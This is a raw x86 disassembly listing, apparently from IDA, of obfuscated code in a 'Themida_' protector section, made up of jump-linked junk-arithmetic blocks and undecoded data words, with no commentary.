; ---------------------------------------------------------------------------
		db 0F6h
		dd 0B0C580D5h, 0FFD503E9h, 28A0B6FFh, 24148BF0h, 2804C483h
		dd 0FFA004C8h, 81592434h, 4C4h,	0EA20E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_616DF6:				; CODE XREF: Themida_:00611F7Cj
		mov	[esp], esi
		mov	edi, [esp]
		push	1561h
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		jmp	loc_614DA3
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 69h
		dd 0E909A455h, 0FFFFAA5Bh, 2EE9535Eh, 0BFFFFF98h, 0D7B13B3h
		dd 0FFCF98E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_616E35:				; CODE XREF: Themida_:00619A74j
		pop	esp
		jmp	loc_6111DE
; ---------------------------------------------------------------------------
		dd offset dword_59627C+7ECh
		align 10h
		dd 0FFCA0CE9h, 2C581FFh, 55000000h, 0FFC972E9h,	0C6815EFFh
		dd 4, 0FFD2E6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_616E5D:				; CODE XREF: Themida_:006142A1j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_615013
; ---------------------------------------------------------------------------
		dd 240C8966h, 2474FF66h, 4F36E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_616E76:				; CODE XREF: Themida_:00611773j
		add	eax, ebp
		push	378Dh
		mov	[esp], esi
		jmp	loc_6110FE
; ---------------------------------------------------------------------------


loc_616E85:				; CODE XREF: Themida_:0061AFABj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		and	eax, ebp
		pop	ebp
		shr	eax, 8
		xor	eax, ecx
		jmp	loc_618C02
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 5FE9240Ch, 89FFFFA2h, 0E9DA89FBh, 32F3h, 0E9B8505Fh
		dd 9499675h, 0BB5358C7h, 1FB613B7h, 8101C383h, 0AF3CEAC3h
		dd 0EAC5E92Ch, 0F7E9FFFFh, 55FFFF89h, 2C9CE952h, 148B0000h
		dd 27AE924h, 1C8B0000h,	359AE924h, 52660000h, 0D6F6C688h
		dd 0C2E9F088h, 89FFFFE9h, 0F74F5AD7h, 6CCF81D7h, 0E9695D25h
		dd 0FFFFBC49h, 81241C8Bh, 4C4h,	0DF37E900h, 0FF2CFFFFh
		dd 195BE9h, 24048700h, 66AD685Ch, 1C890000h, 0F538E924h
		dd 96BEFFFFh, 9297D47h,	0E3C15EF3h, 0EAF38106h,	81032A17h
		dd 73E02EF3h, 8BDE017Ch, 0C481241Ch, 4,	2617E957h, 8F660000h
		dd 896CE902h, 166FFFFh,	665B66DAh, 8166DAF7h, 66FDCFEAh
		dd 665AD001h, 0E908E0C1h, 2D7Bh
; ---------------------------------------------------------------------------


loc_616F7C:				; CODE XREF: Themida_:00615634j
		push	edi
		push	6334h
		mov	[esp], ecx
		mov	ecx, 15E05A35h
		push	ecx
		mov	ecx, 127E58DDh
		jmp	loc_613691
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 6B8E9h
		db 0
; ---------------------------------------------------------------------------


loc_616F9D:				; CODE XREF: Themida_:006148B1j
		mov	bp, [esp]
		add	esp, 2
		add	bx, cx
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 1C9A6AE3h
		not	ebp
		or	ebp, 4B2469C9h
		sub	ebp, 4D9538CDh
		xor	ebp, 9DD0C514h
		add	ecx, ebp
		pop	ebp
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		movzx	eax, ax
		push	small 70F5h
		mov	[esp], ax
		jmp	loc_611ED6
; ---------------------------------------------------------------------------
		db 81h,	0CEh, 30h
		dd 0E9176F3Fh, 225Bh, 3CCEBF57h, 0D7F74A31h, 1BF7EF81h
		dd 0C78175A5h, 0BFD658CAh, 0FFCE98E9h, 4FC268FFh, 4890000h
		dd 0E937B024h, 1E27h
; ---------------------------------------------------------------------------


loc_617014:				; CODE XREF: Themida_:006186FFj
		pop	esp
		mov	[esp], ecx
		push	edi
		push	edx
		push	6AFC7315h
		pop	edx
		push	ebx
		mov	ebx, 37103C35h
		add	ebx, 4A6F5419h
		add	ebx, 493A0688h
		jmp	loc_612DC9
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 241C8900h, 0FF95D5E9h,	1C8B66FFh, 2C48324h, 4EC81h
		dd 4890000h, 5E08924h, 4, 42Dh,	24048700h, 240C895Ch, 0E1C070B1h
		dd 81C9FE08h, 2ECh, 4896600h, 30ACB024h, 3008E9C1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_617082:				; CODE XREF: Themida_:0061B7F1j
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_61132B
; ---------------------------------------------------------------------------
		db 5Ah,	1, 0EAh
aS7		db ']7',0
		align 2
		dw 0C14Ah
		dd 0B95104E2h, 2BBE0FFEh, 0C159CA21h, 0C28103EAh, 0FEDDFF34h
		dd 28E9D001h, 6600001Fh, 0F766FB31h, 956866D7h,	1C89662Ah
		dd 2EC8324h, 243C8966h,	5F665B66h, 66D98766h, 66240C31h
		dd 66240C33h, 0E9240C31h, 0FFFF87EEh, 4BBh, 2F2AE900h
		dd 0D25C0000h, 0E99C2424h, 0FFFF87DAh
; ---------------------------------------------------------------------------


loc_6170F4:				; CODE XREF: Themida_:0061A17Bj
		push	ebx
		mov	ebx, 318A3BF7h
		shr	ebx, 1
		sub	ebx, 0A677CC73h
		and	ecx, ebx
		pop	ebx
		push	esi
		mov	esi, 0B951061h
		shr	esi, 3
		jmp	loc_614947
; ---------------------------------------------------------------------------
		db 89h
		dd 97B82404h, 0E969147Fh, 331Bh, 0FF2434FFh, 34FF2434h
		dd 1E95E924h, 0FF510000h, 0E9042474h, 4029h, 148BD701h
		dd 4C48124h, 0E9000000h, 0FFFFA7BAh, 5966C830h,	0D058C730h
		dd 0F21AE9E7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_617156:				; CODE XREF: Themida_:00617FBBj
		sub	eax, ecx
		mov	ecx, [esp]
		jmp	loc_61BE4C
; ---------------------------------------------------------------------------
		dd 4C481h, 0FF500000h, 0E9042474h, 0FFFFD0FDh, 61416C0Dh
		dd 3E0C13Bh, 0AE83AF2Dh, 58C72924h, 0A99198BBh,	8BFB01BAh
		dd 8AE9243Ch, 66000047h, 8B42452Dh, 97E92414h, 0B900001Eh
		dd 64A1236Eh, 93C18141h, 19B5EDCh, 343359CEh, 24343124h
		dd 8B243433h, 0AA682424h, 0E9000036h, 33D4h
; ---------------------------------------------------------------------------


loc_6171C0:				; CODE XREF: Themida_:0061BD3Bj
		mov	ecx, [esp]
		add	esp, 4
		sub	edx, ebx
		jmp	loc_612441
; ---------------------------------------------------------------------------
		db 35h,	0A2h, 30h
		dd 682D14C2h, 0E90D6E76h, 10E7h, 0D9885866h, 5B2434FFh
		dd 448E9h, 0E9D6F600h, 491Dh, 0A6A3E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6171F6:				; CODE XREF: Themida_:006125C1j
		push	3ECE6EB8h
		pop	edi
		xor	edi, 12856BD5h
		mov	esi, edi
		jmp	loc_619803
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0E9028864h, 0FFFF86BAh, 8104C483h, 4ECh, 243C8900h
		dd 306468h, 24248900h, 4240481h, 5F000000h, 4C781h, 59E90000h
		dd 81FFFFD8h, 4C2h, 4BB5300h, 0E9000000h, 3337h
; ---------------------------------------------------------------------------


loc_61724C:				; CODE XREF: Themida_:006123F0j
		mov	cl, 78h
		not	cl
		sub	cl, 53h
		xor	cl, 38h
		add	al, cl
		pop	ecx
		add	al, ch
		push	ebx
		mov	bl, 0Ch
		sub	al, bl
		pop	ebx
		jmp	loc_60FABA
; ---------------------------------------------------------------------------
		dw 3489h
		dd 2474FF24h, 24348B04h, 4C481h, 48F0000h, 24248B24h, 89243C89h
		dd 4C781E7h, 0E9000000h, 1478h
; ---------------------------------------------------------------------------


loc_61728C:				; CODE XREF: Themida_:0061AAF5j
		pop	ecx
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_611D72
; ---------------------------------------------------------------------------
		db 31h,	14h, 24h
		dd 8B241433h, 0C3312424h, 0B60F66h, 41206866h, 24048966h
		dd 0FF9BA4E9h, 0F7E955FFh, 0C0FFFFB2h, 0EFC003E7h, 0B5516602h
		dd 0F524E9A9h, 805AFFFFh, 0E58023C5h, 3EDC0F3h,	8005EDC0h
		dd 0E8280AEDh, 0FFE8D9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6172F5:				; CODE XREF: Themida_:0061B610j
		or	ebp, 3E7B0F78h
		xor	ebp, 1EE44260h
		sub	ebp, 6C752F22h
		inc	ebp
		sub	ebp, 5D493AAFh
		sub	edi, ebp
		pop	ebp
		sub	edi, ebx
		add	edi, 565D03C9h
		pop	ebx
		sub	edi, 7F77429Eh
		not	edi
		not	edi
		inc	edi
		xor	edi, 7CE53828h
		jmp	loc_6126EE
; ---------------------------------------------------------------------------


loc_617330:				; CODE XREF: Themida_:0060F8E3j
		shr	eax, 6
		sub	eax, 422D30D3h
		not	eax
		and	eax, 331556FEh
		add	eax, 3A600DFDh
		add	ecx, eax
		pop	eax
		add	ecx, 628E6C53h
		sub	ecx, ebp
		sub	ecx, 628E6C53h
		sub	ecx, 3A701049h
		pop	ebp
		shr	ecx, 3
		xor	ecx, 20253B8h
		jmp	loc_6187A7
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 368C6096h, 7C59EE81h, 0DEF7442Dh, 8B6E9h, 854CE900h
		dd 0B22DFFFFh, 57E106Fh, 4D7F14E9h, 50E21905h, 0A5CCE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_617396:				; CODE XREF: Themida_:0061A11Bj
		mov	esi, 5C857ACh
		add	esi, 0FFFFFFFFh
		jmp	loc_616D0F
; ---------------------------------------------------------------------------
		db 5Ch
		dd 68242C89h, 3FFAD809h, 0FF9095E9h, 24048BFFh,	6804C483h
		dd 5B7Ch, 89241489h, 4BD55E2h, 0E9000000h, 0FFFFBE9Eh
		dd 8904EC83h, 0E0892404h, 405h,	0CC61E900h, 4B9FFFFh, 0E9000000h
		dd 0FFFF9E92h, 0C925EE81h, 0F029BDCFh, 177EE95Eh, 0DDF60000h
		dd 84E9CDFEh, 5FFFFFF7h, 8904EC83h, 74FF2434h, 348B0424h
		dd 4C48324h, 8B24048Fh,	89662424h, 0AFE92404h
		db 84h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61741F:				; CODE XREF: Themida_:00618BCFj
		and	ebp, edi
		pop	edi
		sub	ebp, 597A7B44h
		push	ecx
		mov	ecx, 0D04BF8ADh
		jmp	loc_6165B4
; ---------------------------------------------------------------------------


loc_617433:				; CODE XREF: Themida_:0061A57Ej
		add	eax, 4104B6Fh
		sub	eax, esi
		sub	eax, 4104B6Fh
		sub	eax, 5F4B2D52h
		add	eax, 15173D92h
		mov	esi, [esp]
		add	esp, 4
		push	58FBh
		mov	[esp], ecx
		push	ebp
		jmp	loc_6174A4
; ---------------------------------------------------------------------------


loc_617460:				; CODE XREF: Themida_:00616DA1j
		sub	edi, 349749BDh
		xor	ebx, edi
		pop	edi
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_612CBF
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 0B65h, 23466866h, 24148966h, 0E99C5066h
		dd 0FFFF843Eh, 548D8F7h, 2BEC6908h, 158C601h, 0E9505EF0h
		dd 1771h
; ---------------------------------------------------------------------------


loc_6174A4:				; CODE XREF: Themida_:0061745Bj
		mov	ebp, 1E8010B2h
		push	edx
		mov	edx, 675C6704h
		xor	edx, 134F6E62h
		sub	edx, 33C42189h
		dec	edx
		xor	edx, 281CCA8Ch
		and	ebp, edx
		pop	edx
		jmp	loc_617D7E
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 3C8B0424h, 4C48124h,	0E9000000h, 310Eh, 0C8FE92B0h
		dd 0FB0CA224h, 9BE9AF04h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_6174EB:				; CODE XREF: Themida_:00615A55j
		mov	esi, 39F149CDh
		push	edx
		mov	edx, 6DE7704Dh
		not	edx
		jmp	loc_60FD63
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 2414895Ch, 1C35BB53h, 1BBA3BA0h, 2989F92Ch, 56575BDAh
		dd 8E5385BEh, 0B739BF59h, 0F701D354h, 0FF92F7E9h, 7EBD55FFh
		dd 0E92D207Eh, 0FFFFA96Ch
; ---------------------------------------------------------------------------


loc_617530:				; CODE XREF: Themida_:00615326j
		mov	edx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_6107F0
; ---------------------------------------------------------------------------
		dd 0FF8389E9h, 48B66FFh, 7AA86824h, 21E90000h, 6400003Ch
		dd 63E932FFh, 33FFFF88h, 77E92414h, 1FFFFE0h, 9ABE56F0h
		dd 463CB007h, 0FFFFBD55h, 84E9FFFFh, 33FFFFD4h,	248B240Ch
		dd 24D36624h, 47E99C24h, 5EFFFF83h, 81E38953h, 4C3h, 4EB8300h
		dd 5C241C87h, 0B8240489h, 2, 7623E981h,	0C1811C7Dh, 502056CDh
		dd 0FF90C6E9h, 0F4BD55FFh, 0E930F70Ah, 0FFFFEF67h, 1DCDEF81h
		dd 0F7815010h, 0E8F5A29h, 7E9F901h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6175CF:				; CODE XREF: Themida_:00615A82j
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_61A084
; ---------------------------------------------------------------------------
		dw 0B60Fh
		dd 48F66C0h, 82E8E987h,	0EA83FFFFh, 24148704h, 2404895Ch
		dd 6ABC68h, 24248900h, 4240481h, 58000000h, 4BA52h, 96E90000h
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_61760B:				; CODE XREF: Themida_:00612DCCj
		shl	ebx, 6
		sub	ebx, 42D37176h
		xor	ebx, 64FD0B7Bh
		sub	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	edi, edx
		pop	edx
		mov	ecx, 0E9AABEE0h
		add	ecx, edi
		jmp	loc_6185E4
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 8B66C828h, 8952240Ch, 0F275E9E2h, 5B58FFFFh,	4C381h
		dd 0C3810000h, 4, 1C58E9h, 575F3500h, 0B0E917FDh
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_61765F:				; CODE XREF: Themida_:006143B5j
		sub	al, dl
		pop	edx
		jmp	loc_6101EC
; ---------------------------------------------------------------------------


loc_617667:				; CODE XREF: Themida_:006186B3j
		xor	eax, 2CAC767Dh
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 389234E1h
		xor	ebx, 734F4D33h
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_618162
; ---------------------------------------------------------------------------
		db 57h
		dd 0FFF260E9h, 24048FFFh, 6624248Bh, 68240C8Bh,	6DD3h
		dd 54243489h, 0E689565Eh, 0FFF93FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6176AD:				; CODE XREF: Themida_:00610A21j
		dec	ecx
		xor	ecx, 3CC466EAh
		push	ebx
		jmp	loc_617AF1
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFFBFC2h, 81FFED83h, 39056AC5h, 5EDC142h, 4B85ED81h
		dd 82E91D06h
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6176D7:				; CODE XREF: Themida_:006121BFj
		push	esi
		push	edi
		pop	esi
		pop	edi
		push	edi
		not	dword ptr [esp]
		jmp	loc_619770
; ---------------------------------------------------------------------------
		dd 24048B66h, 799D68h, 24048900h, 73E95854h, 0ACFFFFFCh
		dd 7E9D830h, 66FFFF8Ch,	68240C8Bh, 737Bh, 89243C89h, 2E3268E7h
		dd 34890000h, 4BE24h, 0EF810000h, 40566C3Ah, 0BE56F701h
		dd 40566C3Ah, 348BF701h, 0D0E95224h, 68FFFF83h,	606Fh
		dd 50241489h, 0CD91E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_617742:				; CODE XREF: Themida_:0061A709j
		shl	eax, 5
		dec	eax
		xor	eax, 0AE6781Dh
		jmp	loc_617B74
; ---------------------------------------------------------------------------


loc_617750:				; CODE XREF: Themida_:0061436Fj
		push	ebx
		mov	ebx, 328957A1h
		neg	ebx
		shl	ebx, 8
		shr	ebx, 4
		inc	ebx
		jmp	loc_6136C2
; ---------------------------------------------------------------------------


loc_617764:				; CODE XREF: Themida_:00619A54j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	dh, 0CBh
		push	ecx
		mov	cl, 7Ch
		sub	cl, 5Ch
		not	cl
		or	cl, 0CDh
		xor	cl, 5Bh
		sub	al, cl
		pop	ecx
		sub	al, 21h
		add	al, dh
		add	al, 21h
		push	ecx
		mov	ch, 84h
		add	al, ch
		jmp	loc_6143F0
; ---------------------------------------------------------------------------
		dd 0E99C5166h, 0FFFF812Eh, 0C62C0404h, 68665966h, 89667667h
		dd 3CB5240Ch, 0FFFC41E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6177B5:				; CODE XREF: Themida_:006179A4j
		mov	edx, 4
		jmp	loc_614F63
; ---------------------------------------------------------------------------
		db 56h
		dd 0C681E689h, 4, 0FF9BDAE9h, 80FCE9FFh, 0C181FFFFh, 4
		dd 8704E983h, 248B240Ch, 48F5424h, 24048124h, 4, 81242C8Bh
		dd 4C4h, 4C58100h, 0E9000000h, 9DCh
; ---------------------------------------------------------------------------


loc_617800:				; CODE XREF: Themida_:0061003Fj
		push	6ACEh
		jmp	loc_613103
; ---------------------------------------------------------------------------


loc_61780A:				; CODE XREF: Themida_:0061B34Ej
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_614B36
; ---------------------------------------------------------------------------
		dd 5624048Fh, 4BEh, 24448100h, 2824A004h, 24740114h, 246C8104h
		dd 2824A004h, 348B5E14h, 4C48124h, 53000000h, 0FFD023E9h
		dd 284C2CFFh, 170EE9E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61784E:				; CODE XREF: Themida_:00610967j
					; Themida_:006154D1j ...
		push	ebx
		push	5B97h
		mov	[esp], ebp
		jmp	loc_61BBB8
; ---------------------------------------------------------------------------
		dd 0E9243C87h, 0FFFFBA3Ah, 4C581h, 0C5830000h, 3047E902h
		dd 22680000h, 89000028h, 66E92404h
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61787F:				; CODE XREF: Themida_:0061BBF3j
		not	ebp
		jmp	loc_61147A
; ---------------------------------------------------------------------------
		dw 0C688h
		dd 0F1C58058h, 0E911ED80h, 3EFFh, 4BE9DA29h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61789B:				; CODE XREF: Themida_:00611A31j
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		xor	ebp, 7A5B59AFh
		add	eax, ebp
		jmp	loc_614AD9
; ---------------------------------------------------------------------------


loc_6178B1:				; CODE XREF: Themida_:0061910Aj
		push	0
		sub	[esp], ecx
		pop	ecx
		dec	ecx
		or	ecx, 673A664Fh
		push	edi
		jmp	loc_614718
; ---------------------------------------------------------------------------


loc_6178C7:				; CODE XREF: Themida_:00612364j
		add	ebx, eax
		sub	ebx, 28B7567Fh
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_6186ED
; ---------------------------------------------------------------------------
		dw 4C88h
		dd 53590424h, 0C188CF88h, 0FF9BEEE9h, 4C481FFh,	56000000h
		dd 4BEh, 8BF30100h, 93E92434h, 68FFFFB8h, 780h,	0E9243489h
		dd 2ECBh, 1B9h,	59CD8900h, 2C8BE921h, 4C48124h,	0C1000000h
		dd 0C00B00E9h, 4332840Fh, 0C9680000h, 8900007Ch, 6C68240Ch
		dd 8900000Eh, 8EE9241Ch, 66FFFFF3h, 68240C8Bh, 3A86h, 336DE9h
		dd 0DBBD5500h, 0E953DC41h, 32C1h, 0B8240489h, 12797556h
		dd 0E958C329h, 22CCh, 8804C483h, 0E901874Ch, 0FFFFDCD7h
; ---------------------------------------------------------------------------


loc_61797C:				; CODE XREF: Themida_:0061473Ej
		mov	ecx, ebx
		mov	eax, ecx
		pop	ecx
		pop	ebx
		add	eax, edi
		add	dword ptr [eax], 1
		pop	eax


loc_61798B:				; CODE XREF: Themida_:0061839Bj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_6177B5
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 8904EC83h, 5F54243Ch, 4C781h, 0C7830000h, 243C8704h
		dd 3FBE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6179C6:				; CODE XREF: Themida_:006155D5j
		push	ecx
		jmp	loc_616DBE
; ---------------------------------------------------------------------------
		dd 28D4F780h, 0D8005BF8h, 0EC836704h, 240C8904h, 0E9C05FB1h
		dd 0AEFAE902h, 0EF01FFFFh, 6CA0C781h, 25E92899h, 6800002Fh
		dd 4121h, 0FFCB07E9h, 243489FFh, 0C681E689h, 4,	4C681h
		dd 0FF680000h, 89000079h, 0C1E92434h, 28FFFFD9h, 241C8BF8h
		dd 4C481h, 148B0000h, 4C48124h,	53000000h, 0F5E92FB7h
		dd 31FFFFBEh, 0A6E9243Ch, 81FFFFB0h, 110369EEh,	5EF20168h
		dd 0D6E9D189h, 50FFFF98h, 5155E089h, 185D83B9h,	0F7D9F74Eh
		dd 7D9E9D9h, 3CBE0000h,	10CE62Ch, 2434FFF2h, 8124348Bh
		dd 4C4h, 5F545700h, 0FFD717E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_617A7D:				; CODE XREF: Themida_:00615F98j
		xor	eax, ecx
		xor	eax, edi
		xor	edi, eax
		xor	eax, edi
		xor	edi, ebp
		xor	ebp, edi
		xor	edi, ebp
		push	ebp
		not	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		push	ebp
		push	dword ptr [esp]
		jmp	loc_61622D
; ---------------------------------------------------------------------------


loc_617AA2:				; CODE XREF: Themida_:00614B2Aj
		pop	esp
		idiv	cl
		jmp	loc_610BCC
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 89572404h, 4C781E7h,	68000000h, 5F64h, 0B8240489h, 2
		dd 362FC781h, 0C701637Fh, 3370E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_617AD2:				; CODE XREF: Themida_:006152CEj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 246262C3h
		sub	ecx, 0B2601F5Dh
		add	edx, ecx
		pop	ecx
		push	ecx
		jmp	loc_6110C5
; ---------------------------------------------------------------------------
		dd 0FF7DDDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_617AF1:				; CODE XREF: Themida_:006176B5j
		mov	ebx, 22E80F9Fh
		xor	ebx, 27D54CFAh
		jmp	loc_6139F4
; ---------------------------------------------------------------------------


loc_617B01:				; CODE XREF: Themida_:00619907j
		xor	ecx, edx
		pop	edx
		shr	ecx, 7
		push	eax
		mov	eax, 7CB63E03h
		sub	eax, 7C1A1513h
		or	eax, 6F400E10h
		jmp	loc_618E4F
; ---------------------------------------------------------------------------
		dd 7645C581h, 0ED816830h, 5E364141h, 0C581D501h, 5E364141h
		dd 0FFE88BE9h, 0C5F181FFh, 8B499726h, 0C483241Ch, 24048B04h
		dd 637168h, 241C8900h, 0BF57E389h, 0B552279h, 0F781D7F7h
		dd 0F4AADD82h, 0FFBE33E9h, 2EDC0FFh, 0F580E5D0h, 8AB353FDh
		dd 0E95BDD30h, 53h
; ---------------------------------------------------------------------------


loc_617B74:				; CODE XREF: Themida_:0061774Bj
		add	eax, 9783C15Fh
		sub	edi, eax
		pop	eax
		or	edx, edi
		jmp	loc_61519F
; ---------------------------------------------------------------------------
		db 58h
		dd 405h, 2C08300h, 0FFBFB0E9h, 726852FFh, 0E9000057h, 0B24h
; ---------------------------------------------------------------------------


loc_617B9C:				; CODE XREF: Themida_:006194FBj
		pop	esi
		and	eax, edi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		push	edi
		mov	edi, 0B26842h
		add	edi, 0FF4D97C2h
		add	edx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		jmp	loc_6154BE
; ---------------------------------------------------------------------------
		align 4
aSy0Hls		db 'Y,([0hlS',0
		align 4
		dd 81240C89h, 4ECh, 242C8900h, 33FEE950h, 8B660000h, 0EC812404h
		dd 4, 0FFE9B3E9h, 0FFFF05FFh, 0E7E9FFFFh, 0B9FFFFCEh, 1BB349D5h
		dd 5408E981h, 0F1812901h, 759D648Ch, 6013F181h,	685541h
		dd 29000000h, 8359240Ch, 0EC8101C1h, 4,	2B79E9h, 9FE95F00h
		dd 81000016h, 4127EDF6h, 8FCE8117h, 811A621Ch, 1DC355C6h
		dd 94CFE9E5h, 0E589FFFFh, 4C581h, 0D9E90000h, 0FFFFFFD5h
		dd 44E92434h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_617C5F:				; CODE XREF: Themida_:00610196j
		not	edi
		xor	edi, 25647B4h
		and	edi, 4FC07237h
		dec	edi
		not	edi
		add	edi, 35003903h
		xor	eax, edi
		pop	edi
		sub	edx, eax
		pop	eax
		sub	ecx, edx
		pop	edx
		add	dword ptr [ecx], 1
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_61BD56
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 4C281h, 0EA830000h, 80A2E904h, 0C8BFFFFh, 0E2895224h
		dd 0FF8DB7E9h, 0FF665CFFh, 0E99C2404h, 0FFFF7C12h, 24048B66h
		dd 835B5453h, 348904ECh, 5ABF5724h, 0E97AED3Ch,	0FFFFD841h
; ---------------------------------------------------------------------------


loc_617CD4:				; CODE XREF: Themida_:00611AB0j
		push	59B1h
		mov	[esp], ecx
		mov	ch, 0CCh
		sub	esp, 2
		mov	[esp], dx
		mov	dl, 0E3h
		add	ch, dl
		pop	dx
		or	ch, 93h
		and	ch, 0FDh
		sub	ch, 7Bh
		add	al, 0Dh
		add	al, 46h
		add	al, 0CCh
		sub	al, ch
		sub	al, 0CCh
		sub	al, 46h
		push	edx
		mov	dl, 7Ah
		jmp	loc_61549F
; ---------------------------------------------------------------------------
		db 0F6h
aSq_		db 'Q.',0
		align 2
		dw 2C89h
		dd 0E9E58924h, 0FFFF965Ah, 8904EC83h, 8B54240Ch, 0E950240Ch
		dd 4001h, 6F1B6856h, 348B5CEFh,	4C48124h, 0E9000000h, 0FFFFC4BCh
		dd 34E9D0F7h, 5BFFFFB5h, 45BFE28h, 53F000ABh, 0D7F6B1B7h
		dd 0FE10E780h, 0F571E9C7h, 0C8BFFFFh, 4C48324h,	0EAD0E952h
		dd 2C8BFFFFh, 19A1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_617D72:				; CODE XREF: Themida_:006138A6j
		add	ebp, 37C137B7h
		push	eax
		jmp	loc_61062D
; ---------------------------------------------------------------------------


loc_617D7E:				; CODE XREF: Themida_:006174C5j
		xor	ebp, 20B7566Fh
		push	ebp
		add	dword ptr [esp], 664F3939h
		pop	ecx
		push	eax
		jmp	loc_610E10
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0C8B2434h, 4C48324h,	208A68h, 24348900h, 24348B54h
		dd 0E904C483h, 0FFFFA3CFh, 35BFE953h, 0C5810000h, 4, 15BBE9h
		dd 0B0505200h, 58C688B8h, 0FFF41CE9h, 0DAC680FFh, 5AF000h
		dd 4E12CD8h, 4292C4Dh, 51536638h, 27B35352h, 29EFE9h
		db 0
; ---------------------------------------------------------------------------


loc_617DE9:				; CODE XREF: Themida_:00615A77j
		mov	ebp, 2887576h
		add	[esp+4], ebp
		pop	ebp
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		push	eax
		push	47FDh
		mov	[esp], edi
		mov	edi, 18D83815h
		mov	eax, 18D83811h
		xor	eax, edi
		jmp	loc_612B27
; ---------------------------------------------------------------------------
		dd 0C281E289h, 4, 0E904EA83h, 0FFFF93FBh
; ---------------------------------------------------------------------------


loc_617E24:				; CODE XREF: Themida_:00618A51j
		mov	ecx, edx
		pop	edx
		rep movsd
		jmp	loc_61A110
; ---------------------------------------------------------------------------
		dw 6866h
		dd 896656ACh, 0EC81241Ch, 4, 0FFC385E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_617E41:				; CODE XREF: Themida_:0061B78Ej
		add	esp, 4
		mov	esi, [esp]
		add	esp, 4
		mov	ebx, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp


loc_617E66:				; CODE XREF: Themida_:006127F9j
					; Themida_:0061BE5Ej
		push	dword ptr [edi+24h]
		mov	ecx, [esp]
		sub	esp, 4
		jmp	loc_60FC5F
; ---------------------------------------------------------------------------
		db 31h
		dd 18E95BDEh, 68FFFFACh, 4334248Dh, 0FF8D8FE9h,	242C89FFh
		dd 242C8B54h, 81E28952h, 4C2h, 4C28100h, 0E9000000h, 3BCCh
